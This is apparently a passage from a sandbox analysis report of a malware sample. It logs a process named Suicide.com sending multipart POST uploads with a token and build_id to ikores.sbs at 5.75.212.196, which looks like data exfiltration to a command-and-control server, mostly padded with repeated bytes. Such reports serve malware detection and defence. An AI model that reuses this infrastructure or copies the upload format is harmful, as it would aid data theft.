41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:37 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:37 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:37 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:37 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:37 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:37 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:37 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:39 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Dec 2024 08:42:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49909	5.75.212.196	443	7804	C:\Users\user\AppData\Local\Temp\402438\Suicide.com

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:42:40 UTC	320	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----7Q9R1NG4OZU37YM7GV37 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_8) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: ikores.sbs Content-Length: 131557 Connection: Keep-Alive Cache-Control: no-cache
2024-12-06 08:42:40 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 51 39 52 31 4e 47 34 4f 5a 55 33 37 59 4d 37 47 56 33 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 66 37 30 65 64 36 30 39 34 36 34 32 35 35 62 66 66 33 30 66 66 65 31 63 37 64 64 65 31 32 35 0d 0a 2d 2d 2d 2d 2d 2d 37 51 39 52 31 4e 47 34 4f 5a 55 33 37 59 4d 37 47 56 33 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 37 65 39 30 34 38 64 35 33 62 66 36 66 34 63 34 35 37 32 39 32 34 35 65 34 66 37 35 62 30 64 0d 0a 2d 2d 2d 2d 2d 2d 37 51 39 52 31 4e 47 34 4f 5a 55 33 37 59 4d 37 47 56 33 37 0d 0a 43 6f 6e 74 Data Ascii: ------7Q9R1NG4OZU37YM7GV37Content-Disposition: form-data; name="token"ef70ed609464255bff30ffe1c7dde125------7Q9R1NG4OZU37YM7GV37Content-Disposition: form-data; name="build_id"57e9048d53bf6f4c45729245e4f75b0d------7Q9R1NG4OZU37YM7GV37Cont
2024-12-06 08:42:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:40 UTC	717	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-06 08:42:42 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Dec 2024 08:42:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-06 08:42:42 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49915	5.75.212.196	443	7804	C:\Users\user\AppData\Local\Temp\402438\Suicide.com

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:42:41 UTC	321	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----PPH4EU37QIEUAAASR9H4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_8) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: ikores.sbs Content-Length: 6990993 Connection: Keep-Alive Cache-Control: no-cache
2024-12-06 08:42:41 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 50 50 48 34 45 55 33 37 51 49 45 55 41 41 41 53 52 39 48 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 66 37 30 65 64 36 30 39 34 36 34 32 35 35 62 66 66 33 30 66 66 65 31 63 37 64 64 65 31 32 35 0d 0a 2d 2d 2d 2d 2d 2d 50 50 48 34 45 55 33 37 51 49 45 55 41 41 41 53 52 39 48 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 37 65 39 30 34 38 64 35 33 62 66 36 66 34 63 34 35 37 32 39 32 34 35 65 34 66 37 35 62 30 64 0d 0a 2d 2d 2d 2d 2d 2d 50 50 48 34 45 55 33 37 51 49 45 55 41 41 41 53 52 39 48 34 0d 0a 43 6f 6e 74 Data Ascii: ------PPH4EU37QIEUAAASR9H4Content-Disposition: form-data; name="token"ef70ed609464255bff30ffe1c7dde125------PPH4EU37QIEUAAASR9H4Content-Disposition: form-data; name="build_id"57e9048d53bf6f4c45729245e4f75b0d------PPH4EU37QIEUAAASR9H4Cont
